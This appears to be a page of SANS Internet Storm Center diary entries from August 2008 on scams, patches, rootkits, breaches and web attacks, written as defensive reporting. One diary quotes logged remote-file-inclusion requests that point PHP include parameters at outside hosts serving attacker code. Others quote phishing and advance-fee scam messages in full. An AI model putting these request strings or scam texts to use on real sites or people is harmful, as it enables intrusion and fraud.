Diaries

Scammers may use recorded snippets during voice phishing

The vishing (voice phishing) incident described in an earlier diary seemed to use a rudimentary voice synthesizer to request information from the caller. An ISC reader noted that in more sophisticated attacks, scammers employ "sampling"--recorded snippets of actual calls to sound more legitimate.

He submitted the following outline of the call he received the other day:

"XXX Bank values your business, please hold for next representative."

Hold music plays...

"Call being transferred to automated information system."

The above seemed to be recorded sound files from an actual call to the bank, as this is exactly what you would hear if you called the bank and chose to use their automated system.

"You have been selected to receive a special offer from XXX Bank. For a limited time you can receive 0% interest for 6 months on existing balances on your XXX Bank card. You can apply over the phone or online at www dot XXX Bank dot com. Press 1 to apply now."

You press 1 (or any number).

"To apply for the offer please enter your credit card now" (Computer generated voice)

You enter the card number.

"Please enter your PIN number now."

You enter the PIN.

"Thank you, processing account information now." (Again, a recorded snippet from the real bank's voice system.)

"Your request has been processed and will appear on your next account statement, goodbye." (wav file sampled from banks real voice mail system.)

The ISC reader pointed out that this call highlights the following evolution in the scammers' tactics:

They had put effort into sampling real voice prompts from banks automated phone system.
They gave out the bank's real web address, presumably to give an air of legitimacy to the call.

Thanks, ISC reader!

-- Lenny

Lenny Zeltser leads a regional security consulting team at Savvis and teaches a course on reverse-engineering malware at SANS.

0 Comments

VMware releases updates - don't forget to patch

An ISC reader notified us that VMware released updates for for ACE, Server, Player and Workstation products:

According to VMware, the following 3 security issues are patched by the updates for VMware ACE, Player and Workstation:

Setting ActiveX killbit. "VMware has set the killbit on its ActiveX controls. Setting the killbit ensures that ActiveX controls cannot run in Internet Explorer (IE), and avoids security issues involving ActiveX controls in IE."
Update to FreeType. "FreeType 2.3.6 resolves an integer overflow vulnerability and other vulnerabilities that can allow malicious users to run arbitrary code or might cause a denial-of-service after reading a maliciously crafted file."
Update to Cairo. "Cairo 1.4.12 resolves an integer overflow vulnerability that can allow malicious users to run arbitrary code or might cause a denial-of-service after reading a maliciously crafted PNG file."

The following 4 security issues are patched by the updates for VMware Server:

Security Fix for VMware ISAPI Extension. "One of the ISAPI extensions provided by VMware is vulnerable to a remote denial of service. "
Security Fix for Local Privilege Escalation on Host System. "Exploitation of this vulnerability allows users to run arbitrary code on the host system with elevated privileges."
Update to Freetype. "FreeType 2.3.6 resolves an integer overflow vulnerability and other vulnerabilities that can allow malicious users to run arbitrary code or might cause a denial-of-service after reading a maliciously crafted file."
Setting ActiveX killbit. "VMware has set the killbit on its ActiveX controls. Setting the killbit ensures that ActiveX controls cannot run in Internet Explorer (IE), and avoids security issues involving ActiveX controls in IE."

Patching VMware is never a pleasant experience, and usually involves a heavy download and a lengthy installation, not to mention the testing to ensure your environment is not adversely affected by the patch. What's a better way to spend your weekend?

-- Lenny

Lenny Zeltser leads a regional security consulting team at Savvis and teaches a course on reverse-engineering malware at SANS.

0 Comments

Scams from today's mailbag

Here are a few scam-related messages we received in the inbox today. A common thread is that the scammers keep thinking creatively about lowering the recepient's guard:

In the first example is a VoIP-based phishing (vishing) attack, where the scammer exploits people's tendency to trust the phone more than email.
In the next example, the scammer avoids asking for or promising money directly, so as not to arouse suspicions prematurely.
In the last example, the scammer acknowledges the dangers of scams, and claims to offer support to people who fell victim to them.

VoIP Phishing

Mike sent us a copy of a message that claimed to come from the City Credit Union, and asked the recipient to call a particular number because the recipient's account was temporarily suspended:

From: City Credit Union [mailto:do-not-reply@citycu.org]
Date: Friday, August 29, 2008
Subject: PLEASE CALL US! Account Temporary Suspended !

Dear Customer,

On August 28 14:28:34 EST 2008 you or someone changed your online password on City Credit Union website.

For security reasons, your account was temporary suspended.
If this request was not performed by you please log in and solve the problem.
To continue please call us at:

(214) 431-4XXX

We replace the last 3 digits with XXX, just in case. According to Mike, when you call, "you get a very old style computer voice asking you to input your debit credit card number." Mike is a customer of City Credit Union.

A very similar scam was reported by the Blog of Scams a few days ago--very similar text, but it referred to APL Federal Credit Union instead. For additional examples of vishing, see an earlier diary.

Baiting the Victim

In the next and unrelated example today's mailbag, we encounter a dying widow looking of an arms dealer, looking to make friends on the Internet:

From: Hilary Whitney [hilaryw.......@gmail....]
Date: Friday, August 29, 2008
Subject: Good day

Beside India House
Aldwvch London WC2B 4NA.
Email; mrsshilarywhitney@yahoo.co.uk

Good day

Am glad to have the opportunity to contact you with the labtop the nurse brings for me. ...

I am married to late Mr Cosmos Whitney,a licensed arms dealer and a soldier before he died in the year 1998. ... Presently,my doctor told me that i would not last for the next 30 days due to a rare form of cancer of the pancress. ...

Presently,my doctor told me that i would not last for the next 30 days due to a rare form of cancer of the pancress. ... i hoped to find a good person whom i can find trust worthy to stand as a good friend since i don't have any relatives,friends and children's as well.And also since i have limited time to live.

I want to know if your a honest and caring person,because am not used to internet friends.

Notice that the message implies that the sender is wealthy, and without anyone to receive inheritance when she passes away. This detail is meant to bait the recipient, who might hope to get the money after befriending Mrs. Hilary Whitney. While this message was submitted via email, a version of it was also distributed via blog spam as early as May 23, 2008.

Scammers Against Scams

Our last example seems to be an outreach email for helping victims of Nigerian-style scams. In reality, it is an attempt to gain the recipients' trust to defraud them. The technique is similar to the example we described in an earlier diary.

From: "Brian Adams" <baantinigeriascams@gmail.com>
Date: Sat, 23 Aug 2008
Subject: Anti Nigeria Scams Ref: 23524326

Attention:

This email is not in any manner directed to you, but its purposely and specifically directed to Nigeria Scam victims. . However, if you have fallen for Nigerian Scams, do not hesitate to contact us or visit our website for more details on how we can help.

We shall be waiting to hearing from you been certain that you were truly scammed by a Nigerian and you have proves to back your claims. Please read the full report at our website:
http://www.nigeria-scamvictims.itgo.com/

Yours faithfully,

Brian Adams
Nigerian Government Reimbursement Committee

Several instances of this scam were observed on the web recently (see 1, 2), and a Google search for "Nigerian Government Reimbursement Committee" shows numerous hits that suggest fraudulent activities.

-- Lenny

Lenny Zeltser leads a regional security consulting team at Savvis and teaches a course on reverse-engineering malware at SANS.

0 Comments

Critical: openssh security update

SWOT matrix for describing security posture

"Be brief, for no discourse can please when too long." Miguel de Cervantes
"When I try to be brief, I become obscure." Quintus Horatius Flaccus

How can you outline a system's security state succinctly, yet without omitting important points? Consider using the SWOT matrix to summarize your perspective. This approach is particularly effective when communicating with managers and executives, who are usually familiar with SWOT analysis.

The acronym SWOT, which stands for Strengths, Weaknesses, Opportunities and Threats, is designed to remind you of the key factors to consider when analyzing a situation. A SWOT matrix is a table that presents these elements in a compact manner. Take a look the SWOT matrix template below. (It is based on an image from Wikipedia.)

The left column lists helpful, positive factors; the right one lists harmful, negative factors. The top row includes the factors intrinsic to the analyzed system; the bottom one includes factors external to the system.

Let's examine contents of each cell in the SWOT matrix:

Strengths lists the most effective security aspects of the system, for example tight network access controls or comprehensive security policies. Improvements to the system's security can be accomplished by building upon these strengths.

Weaknesses outlines those aspects of the system that put it at risk, for instance poor input validation, or lack of effective log management. These aspects of the system should be improved.

Opportunities describes factors external to the system that can help improve its security. This might be the availability of security training funds for developers, or the existence of a logging system that has been purchased, but was never deployed. Items in this cell might be low-hanging-fruit--easy wins that can improve the system's security.

Threats highlights external factors that magnify the adverse effects of internal system weaknesses. For instance, the company may be subject to fine-imposing regulations, or may possess weak change management practices.

The SWOT matrix approach is particularly powerful when the company defines the objective with respect to which the system should be evaluated. In the context of information security, this usually involves agreeing on the system's risk profile, data sensitivity, business goals, and other factors that affect the system's security architecture.

If you like this approach, you are welcome to use the editable SWOT matrix template I created in Microsoft Word. You can download it from here.

Further information: For information about the classic use of SWOT analysis, take a look at the corresponding Wikipedia article. Security management topics such as SWOT analysis are explored in the SANS MGT-512 course. If you found this note useful, you may also enjoy my earlier tip on using an "elevator pitch" for explaining security risks to executives.

-- Lenny

Lenny Zeltser leads a regional security consulting team at Savvis and teaches a course on reverse-engineering malware at SANS.

0 Comments

Published: 2008-08-28

IE8 Beta 2 Released: InPrivate Browsing

Microsoft has put IE8 into its second beta and there are a variety of new features. The one most interesting from a security perspective is "InPrivate" which let's users mort tightly control what cookies get stored (and how they are used) and the settings to control the browser history. This is largely seen as a slap to Google and Yahoo where it will allow IE users a built-in way to limit the amount of profiling web advertising companies can do to target their advertisements. It remains to be seen whether this will be used in an even handed way, but it is a good reminder to people how much data advertising companies such as Google can generate about its users. Nothing in life is free, and if you aren't paying for those services, Google is getting paid from someone. :)

Some people could care less, others are more stringent about their privacy. There are equivalents in the Firefox world (AdBlock, etc), but Microsoft seems to be trying to position themselves to be the protectors of privacy in the new web world order. We'll see how that works out (because MSFT is an advertiser themselves with their own ad network).

--
John Bambenek
bambenek /at/ gmail \dot\ com

1 Comments

Published: 2008-08-28

When using fear to sell security can backfire

If you are a security professional, you need to possess strong persuasion skills. This doesn't apply solely to employees of security vendors. Even if your job is internally-focused, you still need to convince your colleagues to consider security when processing data, building systems, interacting with partners, etc. Since these individuals often do not report to you, have to exercise your persuasion abilities to achieve the desired results.

Highlighting the importance of security often incorporates an element of scare tactics: describing threats, explaining the repercussions of ignoring security, or providing examples where inadequate security led to disastrous consequences. The approach is used in both internal security awareness sessions, as well as security product literature.

Fear is a key element in the often vilified trio of fear, uncertainty, and doubt (FUD). Indeed, when used without restraint, fear can back-fire.

First, there's the boy who cried wolf syndrome. The infamous fable refers to a protagonist who issued so many false alarms about the wolf's impeding attack, that the villagers did not believe him when the calamity actually occurred. "The liar will lie once, twice, and then perish when he tells the truth." If resorting to fear, be sure to have your facts straight, and be ready to substantiate your claims if challenged.

Furthermore, while fear can be an effective element of persuasion, it can also paralyze the audience into inaction. This point is emphasized by the authors of Yes!: 50 Scientifically Proven Ways to Be Persuasive. They confirm that "fear-arousing communications usually stimulate the audience to take action to reduce the threat." With one exception:

"When the fear-producing message describes danger but the audience is not told of clear, specific, effective means of reducing the danger, they may deal with the fear by 'blocking out' the message or denying that it applies to them."

In your internal or outbound communications, be very clear about what steps the audience can take to reduce the risks you're describing. Otherwise, you scare tactics might back-fire, with the audience tuning out completely. (If you're interested in the chapter from the Yes! book that deals with fear and persuasion, you can read it here. The text references a 1965 study that tested the effectiveness of fear in the context of medical inoculation brochures, which is summarized here.)

-- Lenny

Lenny Zeltser leads a regional security consulting team at Savvis and teaches a course on reverse-engineering malware at SANS.

0 Comments

Published: 2008-08-26

Active attacks using stolen SSH keys (UPDATED)

The US-CERT is reporting that there is active attacks against Linux environments using stolen SSH keys. There is a new rootkit out, Phalanx2 which is dropped by attackers which, among the usual rootkit tasks, steal any SSH key on a system. The attackers then, presumably, use those stolen keys (the ones without passwords/passphrases at least) to get into other machines.

Sources of compromised keys could include the weak key vulnerability in Debian-based systems a few months ago, so if you haven't updated and replaced those keys, you ought to do so now.

The biggest defense is to have any keys, especially those used to authenticate to remote machines and certainly internet facing ones, require a passphrase to use. Check your logs, especially if you use SSH key-based auth, to identify accesses from remote machines that have no business accessing you. If you have IPs, that would be good.

To detect if you have Phalanx2, look for /etc/khubd.p2/ (access by cd, not ls) or any directory that is called "khubd.p2". /dev/shm/ may contain files from the attack as well. Tripwire, AIDE and friends should also be able to detect filesystem changes.

UPDATE: A couple of quick updates. Fellow Handler Bill Stearns mentioned several tools like this that can sniff out vulnerable keys. Also, here is some more technical details on the phalanx2 rootkit.

--
John Bambenek
bambenek /at/ gmail \dot\ com

0 Comments

Published: 2008-08-26

Podcast Episode X Record Notice

Tomorrow night at 7:30 EDT (Eastern Daylight Savings Time) Johannes, John, and I will be recording Episode X of the Internet Storm Center Podcast.

We'll be broadcasting live at http://www.stickam.com/joelesler

Please come and join! We love live feedback, talk with us in the stickam interface or via IRC in #dshield on irc.freenode.net.

Thanks!

-- Joel Esler http://www.joelesler.net

0 Comments

Published: 2008-08-25

The Latest in Crimeware

Brian Krebs over at the Washington Post has a series of stories up (dubbed Web Fraud 2.0) at the SecurityFix Blog on some of the developments of crimeware tools. However, these tools operate on the opposite site of the fraud equation. Namely, instead of malware that infects machines, its more the underground economy on what to do with that information and the facilitation of that activity. It's a neat look at what "the other guys" are doing and how the electronic fraud market is an evolving and thriving one.

--
John Bambenek
bambenek /at/ gmail \dot\ com

0 Comments

Published: 2008-08-25

Thoughts on the Best Western Compromise

The Sunday Herald reported on Sunday that Best Western was struck by a trojan attack that lead to the possible compromise of about 8 million victims. There is some debate as to the extent of the breach and not a small amount of rumor going around. I'm not entirely disposed to trust corporate press releases for the facts, nor am I going to blindly accept claims of security researchers who's first call is to the PR team when discovering a problem.

That said, here is what seems to be the agreed upon facts:

- A trojan was installed on one of the machines in Best Western's booking systems which lead to a compromise of credentials for the hotel's staff. These credentials were attempted to (and probably successfully) sold to organizations with links to the Russian mafia.

- Best Western is and was PCI DSS compliant.

Of course, PCI really only helps one piece of the security equation and compliance is not the same as security. In fact, it is usually (at best) a poor substitute and more often an excuse to stop thinking about security ("We're Compliant!" followed by self-congratulatory back slapping). The same is true with relying on encryption. Encryption can be "defeated" and the ways to do it are well-known. (For instance, here is a paper I wrote almost 4 years ago on how to do it). If you can own the endpoint of a communication, encryption is irrelevant.

As another example, remember the backup tape heists a few years ago? Attackers know it takes an excessive amount of time to crack encryption, so they target ways to avoid it. Someone had the great idea of stealing backup tapes at which point few people would have even thought to have protected those. Now it's due diligence.

That said, here are 5 areas that are likely targets in the near future (or are targets now) that you may be overlooking:

- Centralized patching systems (i.e. WSUS). If you can hijack an update server and have it distribute a malicious patch, you own every desktop in an environment. The RedHat compromise should be a wake-up call in this regard.

- Centralized configuration and management systems (i.e. Configuresoft or the like). Same as above... the machine that controls all your desktops becomes the single point of pwnership.

- Payroll. Your payroll system has salary information and identification information. In short, it has everything you need to commit tax fraud. In the US, in particular, it also has your national identification number (what is falsely called a "Social Security Number") which allows an attacker to basically jack your entire identity as well.

- Web 2.0. There have been some attempts to spread malware or spear phish using Web 2.0 technology. In as far as your organization uses Web 2.0, the more "legitimate" a message looks, the more likely a user is to click it. Web 2.0 provides a great vector to compromise an organization, especially if many of your employees use it. (Think social engineering).

- Malicious insiders. Ok, this last one is not new, but still a solid majority of attacks have at least some component of an insider attack. In some cases, simply installing a keylogger and "selling" the result is simple enough for a disgruntled employee with even a token level of access to an environment.

Will put up more info on Best Western as the situation warrants. Thoughts to the top 5 lists? What would you add or take off?

--
John Bambenek
bambenek /at/ gmail \dot\ com

1 Comments

Published: 2008-08-24

Warning, it's not from us.

I received an email today from a reader (thank you) who reported that they received a piece of spam today that came from the address: monitoring@isp.com. (Notice the domain name.) Now, we have seen this type of spam before, you know, perpetrating like it comes from your ISP while just having a malicious link in it, etc..

Except this time the spam was signed "ISC monitoring team" (Notice the first three letters, and how they differ from the domain name). So I am guessing that someone is trying to imitate us. And while we recognize that imitation is the most sincerest form of flattery, this kind could be actually damaging.

Rest assured our faithful readers, this is not from us. First of all our email addresses are not "isp.com", nor "monitoring". We don't sign our emails "ISC monitoring team". Nor do we spell the word "Consortium" -- "Consorcium". (misspelling from the email.)

So I'll give you a piece of advice that I gave my father this morning, if you don't know who the email came from, or the email doesn't pertain to you, try and do one of two things about it, mark it as spam (help train your spam filters) -- or delete it. Obviously, this doesn't apply to everyone, but give it a shot and see where you get with it!

Thanks readers for staying on your toes!

-- Joel Esler http://www.joelesler.net

1 Comments

Published: 2008-08-23

SQL injections - an update

In an earlier story we looked at an SQL injection that has infected close to 1.5 million sites. The same search now only returns about 175K sites and many of those are discussing the injection. The URLs I checked were all dead links, so well done everybody in cleaning up isle 3.

With regards to the second set of SQL injections we talked about here the number successful injections is still going up. When I first came across these about 4.5k sites were injected, now we are up to 33K. Not a real success story for this particular attack. The error with the 06014.html page is still not fixed. The only variation I've seen so far is the target url which changes, the rest is pretty much the same, the end game is still the stealing of WOW passwords.

People have reported that typically they get two hits from the one IP address and then it moves along.

Keep an eye on your logs and consider implementing an IDS or use tools such as suhosin for PHP sites, mod_security for apache, or any other url checking/sanitisation tool.

Mark - Shearwater

0 Comments

Published: 2008-08-22

RedHat compromise sparks a Critical openssh security update

"Last week Red Hat detected an intrusion on certain of its computer systems and took immediate action". "In connection with the incident, the intruder was able to sign a small number of OpenSSH packages relating only to Red Hat Enterprise Linux 4 (i386 and x86_64 architectures only) and Red Hat Enterprise Linux 5 (x86_64 architecture only)".

"processes and efforts to date indicate that packages obtained by Red Hat Enterprise Linux subscribers via Red Hat Network are not at risk".

Affected Products: Red Hat Desktop (v. 4)
Red Hat Enterprise Linux (v. 5 server)
Red Hat Enterprise Linux AS (v. 4)
Red Hat Enterprise Linux AS (v. 4.5.z)
Red Hat Enterprise Linux Desktop (v. 5 client)
Red Hat Enterprise Linux ES (v. 4)
Red Hat Enterprise Linux ES (v. 4.5.z)
Red Hat Enterprise Linux WS (v. 4)

CVEs (cve.mitre.org): CVE-2007-4752

0 Comments

Published: 2008-08-22

RedHat - Fedora Servers Compromised

A RedHat list post acknowledges that last week "some Fedora servers were illegally accessed. The intrusion into the servers was quickly discovered, and the servers were taken offline.

Security specialists and administrators have been working since then to analyze the intrusion and the extent of the compromise as well as reinstall Fedora systems".

0 Comments

Published: 2008-08-22

MS08-051 V2.0 Patch issued August 20, 2008

"Microsoft has posted new update packages, labeled Version 2, for Microsoft Office PowerPoint 2003 Service Pack 2 and Microsoft Office PowerPoint 2003 Service Pack 3" described in MS08-051, Vulnerabilities in Microsoft PowerPoint Could Allow Remote Code Execution (949785)

"Customers who manually installed Version 1 of this update from Microsoft Download Center need to reinstall Version 2 of this update.

Customers who have installed this update using Microsoft Update or Office Update do not need to reinstall".

Others should check with their patch management vendors.

The original patch "contained incorrect versions of the binaries. While these versions did protect against the vulnerabilities discussed in the bulletin, they lacked other important security and reliability updates".

0 Comments

Published: 2008-08-20

From the mailbag, Opera 9.52...

From their changelog "Opera 9.52 is a recommended security and stability upgrade."

Cheers,
Adrien de Beaupré
intru-shun.ca

0 Comments

Published: 2008-08-19

A morning stroll through my web logs

As I have done before, I would like to take you all on a quick stroll through some recent web-server logs from the ISC web server. This time around, lets look at some of the 404 errors.

We all know those 404 errors. Most of the time, they can be explained as typos, links to outdated URLs or other innocent mistakes. However, here some that are not quite as "obvious":

File does not exist: /home/live/isc/html/include
File does not exist: /home/live/isc/html/modules

Someone looking for a browsable directory listing of include files? I do see a lot of them lateley! No referer on any of them. An then we have this URL that is hit quite a few times:File does not exist: /home/live/isc/html/authentication

Some are quite odd and specific (only one hit to this one):

script '/home/live/isc/html/todofleetcontrol.php' not found or unable to stat

no, the ISC does not have a Fleet to control. But we are still looking for someone to donate a nice plane (with fuel!) to be used as "ISC1" (an A380 would be nice, but a Boing 747 will do)

Here a few more that are quite specific:

And of course, this wouldn't be complete with some attempts to exploit non-existing vulnerable PHP software:

"GET //includes/functions_portal.php?phpbb_root_path=http:// m4ng4.100webspace. net/id2.txt?? 
    HTTP/1.1" 404 5096 "-" "libwww-perl/5.810" "-"
GET //PhpLinkExchange/bits_listings.php?svr_rootP=http:// warsector. ru/access2006.log??? 
    HTTP/1.1" 404 5097 "-" "libwww-perl/5.79"
"GET /protection.php?action=logout&siteurl=http:// warsector. ru/access2006.log??? 
    HTTP/1.1" 404 5478 "-" "libwww-perl/5.65" "-"
"GET //authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=http://www. v8rx7forum.com/images/icons/header.txt???? 
    HTTP/1.1" 404 5078 "-" "libwww-perl/5.79" "-"
"GET //components/com_extcalendar/lib/mail.inc.php?CONFIG_EXT[LIB_DIR]=http://www. kupc.org /zero/bbs//skin/zero_vote/ooid.txt???? 
    HTTP/1.1" 404 5102 "-" "libwww-perl/5.79" "-"
"GET /errors.php?error=http:// brnthug .awardspace.com/TT??? 
    HTTP/1.1" 404 5481 "-" "libwww-perl/5.811" "-"

As you can tell, none of these bother to even fake a user agent. Blocking libwww-perl is frequently done (e.g. via mod_rewrite), but in my case, there are some legit scripts that query the site. Got any cool and unique web logs? Send them in!

An while I am at it ;-). For all the PHP coders out there... I will offering the best PHP security class ever at NS2008 !

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

0 Comments

Published: 2008-08-17

Not-So "Breaking News"

The spoofed CNN and MSNBC messages from last week have altered a bit, taking on a more generic approach.

The subject of the message is still: BREAKING NEWS.

Michael has been tracking these botnets for a while, his work is available here: http://www.vivtek.com/projects/despammed/stormspam.html.

Like the others, this first stage is a downloader, still readching out to 66.199.240.138 to get the rest of the goodies. Unlike the previous waves, the first executable is named install.exe instead of adobe_flash.exe. So there's a little something different to search for in your proxy logs.

-KL

3 Comments

Published: 2008-08-17

Volatility 1.3 Released

The folks over at volitilesystems.com have released version 1.3 of their Volatility Framework (https://www.volatilesystems.com/default/volatility) an open source collection of tools that allows an investigator to examine RAM dumps (crash dumps and hibernation files.)

-KL

0 Comments

Published: 2008-08-16

Another Infected Digital Photo Frame

Reader Greg sent us a note today about a new issue with digital photo frames. Here is what he said:

Bought a couple of Vuescape 1.4" Digital Picture Frames from Inkstop, to give to family members for Christmas. Just tried to install the software on my PC, and found that the setup.exe file was infected with AdClicker-DF. It seems impossible to find an installer for the device online that does not have this infection. I found another version of the program needed to work with the photo frame - PhotoViewer.exe - but it does not seem to recognize this device.

The mini-CD that came with the frames (item# 61000090) is labelled Driver and Utilities version 2.3B. The Photoviewer software is, according to the properties sheet, published by Hojy Tech Corp.

This is a bit different from the digital photo frame infections we reported earlier this year. In that previous case, the frames themselves contained malware. In this new case the setup.exe file on the CD is infected with adware.

If you have seen this same phenomena in consumer products you've purchased recently (setup.exe containing malware) please let us know what the item was, what the malware was, and where you bought it. By the way, many products come with extra programs that are often detected as spyware or adware. We don't need to know about that, just cases of the setup or installer program itself being infected.

Marcus H. Sachs
Director, SANS Internet Storm Center

0 Comments

Published: 2008-08-16

nslookup Issue?

Two readers pointed us to a SecurityFocus item concerning Microsoft's nslookup.exe. Details are at:

http://www.securityfocus.com/bid/30636/

A video showing a crash analysis of nslookup.exe is at

http://www.nullcode.com.ar/ncs/crash/nsloo.htm

If anybody has experienced an nslookup.exe crash or knows more about this vulnerability please let us know via our contact page.

Marcus H. Sachs
Director, SANS Internet Storm Center

0 Comments

Published: 2008-08-16

Thoughts on the Russia vs Georgia Cyber War

In the past week there has been a lot of media reporting on cyber attacks coming from Russia that are directed at Georgia. Some examples are John Markoff's story in the New York Times, or Siobhan Gorman's story in the Wall Street Journal. Others have been blogging about their experiences and many readers of our diaries have probably been called by local media outlets for comment.

Over the past years there have been a many of these "cyber wars" that infatuated the media. Remember the Great Chinese-American cyber war of 2001 following the downing of a Chinese fighter plane and a US spy plane? Also the Israeli-Palestinian cyber conflicts, the Indian-Pakistani sparing, Chinese-Taiwanese conflicts, and of course last year's episode with Estonia?

They seem to all follow a similar pattern:

Some real-world event happens that focuses attention on a specific region
The media goes looking for a new angle to report on and finds one in cyber space
The online community, both sympathetic as well as curious, read the stories and get interested
A "cyber war" starts
The media has a field day

In the case of Georgia I think that a new pattern is emerging:

Because of the large number of bots, botnets, and general level of criminal behavior on the Internet, a level of "background noise" is always present in every corner of cyberspace, including small countries like Georgia
When the real-world event happens and the media starts looking for activity (steps one and two above) they immediately find it because of the "background noise" (this is like turning on the lights in the kitchen and seeing hundreds of cockroaches - you can acknowledge that you've got a roach problem and kill them or you can turn off the lights and PRESTO! they magically all go away, therefore no more roach problem)
A story or two is published about a defaced website or the presence of botnets, or some other event that would normally occur because of the background noise, but it's tied to the developing real-world story
The online community hears about the event and wants to go see for themselves, resulting in a massive denial of service attack against a small country that nobody ever visits but is now being overwhelmed by curious cyber tourists wanting to see what is going on
The small country blames the DoS attack on their adversaries who of course deny wrong doing
Citizens of the adversary country are also interested in seeing what is happening and so their IP addresses begin to show up in the logs, further lending credit to the growing theory that a cyber war is erupting from the larger and more aggressive country
Citizens of other countries who want to "play" now jump into the frey and start launching real, no-kidding "attacks" against the small country just for kicks, but also to brag to their friends about how they are now Soldiers of Fortune in this brave new world
Before you know it, the combination of media stories, tourists, vandals, criminals, and yes - there might even be a couple of "real" cyber warriors in all of this - all mix together in a torrent of hacking and wacking that reaches a cresendo before slowly tapering off into the history books
Rinse and repeat

I realize that I'm being very cynical here, and that the future prospects of real, no-kidding, nation-state cyber warfare are very possible. But folks, let's get real. Is a botnet or a website defacement an act of war? Is an overwhelming bunch of cyber tourists an act of war? I think not. But for the next few years I'm can predict with certainty that any time a physical-world invasion or conflict emerges that somebody will immediately go looking for the cyber angle. And they will find one, and they will undoubtedly call it a cyber war.

Marcus H. Sachs
Director, SANS Internet Storm Center

0 Comments

http://www.cisco.com/warp/public/707/cisco-sa-20080814-webex.shtml

WebEx ActiveX buffer overflow

Last night, Cisco (who now owns WebEx) posted a bulletin about a buffer overflow in the WebEx Meeting Manager ActiveX control. This one looks like it has the potential to be serious, so if you use WebEx, you are advised to read the Cisco advisory and update or set the killbit.

References:

http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-2737 (not live yet)

0 Comments

Another MS update that may have escaped notice

Those of you running automatic updates may have noticed more updates being downloaded this week than what we mentioned in our Black Tuesday overview. Among the additional updates was the one descirbed in this advisory which had to do with killbits for 3rd party ActiveX components. The following comment from the overview sums it up nicely, so I'll repeat it here (thanx, anonymous):

Microsoft also released 953839, which is an updated variant of MS08-032 (950760). This is the ActiveX Killbits update. This release only adds 3rd-party killbits to the list, so they didn't give it a bulletin. But you still want to deploy it . . .

0 Comments

http://dfrws.org/2008/proceedings/p26-dolan-gavitt.pdf

OMFW 2008 reflections

It was my great privilege to participate in OMFW this past Sunday afternoon in Baltimore. Unfortunately, I wasn't able to stay for the rest of DFRWS, the program looked pretty good (more on that below) and the folks that I've talked to who were there said it was a great conference. While I love SANS conferences, the academic in me also likes traditional conferences with peer-reviewed papers. Back to OMFW. AAron was able to bring together an outstanding group of folks interested in "memory forensics" and there was some spirited discussion among the participants along with some really outstanding talks/demos (hopefully, I'll be able to update this story soon with a link to the slides from the talks). It was also great to be able to put faces to folks who until then had only been handles in IRC or names on e-mail/blog posts in the past. Next year's DFRWS (and hopefully another OMFW) will be in Montreal. Keep your eye on it, there is a lot of good research going on there and don't forget about the SANS Forensics Summit coming up in Vegas in October.

A couple of the interesting papers from DFRWS that I need to read:

http://dfrws.org/2008/proceedings/p33-morgan.pdf

http://dfrws.org/2008/proceedings/p52-vanBaar.pdf

http://dfrws.org/2008/proceedings/p112-cohen.pdf

http://dfrws.org/2008/proceedings/p128-thonnard.pdf

0 Comments

http://developer.joomla.org/security/news/241-20080801-core-password-remind-functionality.html

Joomla user password reset vulnerability being actively exploited

We've received reports from several readers (thanx, Ronaldo and anonymous) that they have seen successful exploitation of the Joomla user password reset vulnerability announced on 12 Aug (with an exploit posted to milw0rm at about the same time). If you have not yet upgraded to 1.5.6, do so ASAP

References:

http://www.us-cert.gov/current/index.html#joomla_password_reset_vulnerability

http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-3681

0 Comments

Published: 2008-08-14

SBC Outage?

One of our readers, Michael, sent us in a heads up for a possible problem this morning with the Internet backbones. Since this is our first report, does anyone know the scoop? Joel reported on another issue with SBC earlier this week.

internetpulse.net shows the latency at LAX and a blogsite here.

1 Comments

Published: 2008-08-14

DNSSEC for DShield.org

Too many times over the last few weeks, you heard that the real answer to all the DNS problems is DNSSEC. I decided to give it a try, and signed the dshield.org zone. DNSSEC is not exactly used very widely, and it is very possible that we will be running into some problems. If you experience any issues, please let us know (via isc.sans.org ;-) ). For most users, this will not change anything. It only matters if your resolver or your web browser actually verifies DNSSEC signature. Expect a few changes to our dshield.org zone while I experiment.

"Experimenting" with a production setup isnt exactly ideal. But there is always isc.sans.org. On the other hand, many of the aspects of DNSSEC just can't easily be simulated in a lab.

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute

0 Comments

Published: 2008-08-13

Podcast Episode Nine Posted

Okay, so after much crazyness concerning the Live Podcast from SANSFIRE of Episode 9, its finally posted.

So to give you a quick run down on what took us so long to get this thing posted, all of the mics that we were being used was going into a Soundboard, and the Soundboard audio was going directly out to a DVD recorder. The DVD recorder also had video In from a camera in the back of the room that was being manned during the podcast.

Turns out, the camera was also recording! Isn't that awesome? Well, turns out, there is alot of FAIL in this story.

The camera, has mysteriously vanished. Don't know where it went, but in it somewhere wherever it is, is a recording of the podcast. If someone finds this mythical recording, please, feel free to give me the video/audio off of what is inside it.

Wait, you say, what about the DVD Recorder? Well, we got the DVD, but the DVD has a big fat scratch down the middle of it, and we can't get the video off of it.

But luckily, I had garageband open, and I recorded the podcast using my built in mic on my macbook pro. Now, this is not the best audio in the whole wide world, but at the time, we had no alternative. So THAT's what the audio from the podcast is. Not out of the soundboard, not off of a video camera, but off of my built in mic on the MacBook Pro.

As a result the audio of some of the people, unless they were loud, or speaking into a mic, is not the best. You'll hear some of this in the beginning, but once we got everyone speaking into mics, and being loud, it gets a bit better.

You'll also hear me whispering for beer at some point in the beginning, just disregard that, beer was needed. :)

Enjoy.

-- Joel Esler http://www.joelesler.net

0 Comments

Published: 2008-08-13

CNN switched to MSNBC

The malware spamming out CNN alerts is now picking on MSNBC. The links do lead to malware advise your users not to click on them! I have seen hundreds this morning, and a number of readers have written in about them.The headlines vary, but they all appear to start "BREAKING NEWS".

Cheers,
Adrien de Beaupré intru-shun.ca

6 Comments

August 2008 Black Tuesday Overview

Overview of the August 2008 Microsoft patches and their status.

#	Affected	Contra Indications	Known Exploits	Microsoft rating	ISC rating(*)
#	Affected	Contra Indications	Known Exploits	Microsoft rating	clients	servers
MS08-041	Vulnerability in the ActiveX Control for the Snapshot Viewer for Microsoft Access Could Allow Remote Code Execution
MS08-041	Access, Snapshot Viewer CVE-2008-2463	KB 955617	Known expoit code being actively exploited. This is a workaround by implementing a kill bit.	Critical	Critical	Important
MS08-042	Vulnerability in Microsoft Word Could Allow Remote Code Execution
MS08-042	Word CVE-2008-2244	KB 955048	Known expoit code being actively exploited.	Important	Critical	Important
MS08-043	Vulnerabilities in Microsoft Excel Could Allow Remote Code Execution
